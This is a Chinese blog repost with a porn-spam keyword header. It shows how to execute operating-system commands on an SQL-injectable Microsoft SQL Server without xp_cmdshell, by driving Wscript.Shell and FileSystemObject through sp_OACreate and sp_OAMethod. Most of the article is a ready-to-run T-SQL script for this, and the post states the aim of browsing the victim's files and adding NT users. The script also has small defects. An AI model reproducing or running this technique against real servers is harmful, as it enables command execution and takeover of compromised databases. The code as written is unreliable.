日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

發布時間:2023/11/27 生活经验 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
我的BLOG里有一篇文章介紹了關于SQL注入的基本原理和一些方法。最讓人感興趣的也許就是前面介紹的利用擴展存儲過程xp_cmdshell來運行操作系統的控制臺命令。這種方法也非常的簡單,只需使用下面的SQL語句:

EXEC?master.dbo.xp_cmdshell?'dir?c:/'

但是越來越多的數據庫管理員已經意識到這個擴展存儲過程的潛在危險,他們可能會將該存儲過程的動態鏈接庫xplog70.dll文件刪除或改了名,這時侯許多人也許會放棄,因為我們無法運行任何的cmd命令,很難查看對方計算機的文件、目錄、開啟的服務,也無法添加NT用戶。

對此作過一番研究,后來我發現即使xp_cmdshell不可用了,還是有可能在服務器上運行CMD并得到回顯結果的,這里要用到SQL服務器另外的幾個系統存儲過程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服務器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在?Microsoft??SQL?Server??實例上創建?OLE?對象實例。
語法
sp_OACreate?progid,?clsid,
objecttoken?OUTPUT
[?,?context?]
sp_OAGetProperty
獲取?OLE?對象的屬性值。
語法
sp_OAGetProperty?objecttoken,
propertyname
[,?propertyvalue?OUTPUT]
[,?index...]?
sp_OAMethod
調用?OLE?對象的方法。
語法
sp_OAMethod?objecttoken,
methodname
[,?returnvalue?OUTPUT]
[?,?[?@parametername?=?]?parameter?[?OUTPUT?]
[...n]]


思路:
先在SQL?Server?上建立一個Wscript.Shell,調用其run?Method,將cmd.exe執行的結果輸出到一個文件中,然后再建立一個Scripting.FileSystemObject,通過它建立一個TextStream對象,讀出臨時文件中的字符,一行一行的添加到一個臨時表中。

以下是相應的SQL語句


CREATE?TABLE?mytmp(info?VARCHAR(400),ID?IDENTITY?(1,?1)?NOT?NULL)
DECLARE?@shell?INT
DECLARE?@fso?INT
DECLARE?@file?INT
DECLARE?@isEnd?BIT
DECLARE?@out?VARCHAR(400)
EXEC?sp_oacreate?'wscript.shell',@shell?output
EXEC?sp_oamethod?@shell,'run',null,'cmd.exe?/c?dir?c:/>c:/temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對于類似ping的長時間命令必需使用此參數。

EXEC?sp_oacreate?'scripting.filesystemobject',@fso?output
EXEC?sp_oamethod?@fso,'opentextfile',@file?out,'c:/temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌

WHILE?@shell>0
BEGIN
EXEC?sp_oamethod?@file,'Readline',@out?out
INSERT?INTO?MYTMP(info)?VALUES?(@out)
EXEC?sp_oagetproperty?@file,'AtEndOfStream',@isEnd?out
IF?@isEnd=1?BREAK
ELSE?CONTINUE
END

DROP?TABLE?MYTMP
?

總結

以上是生活随笔為你收集整理的不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。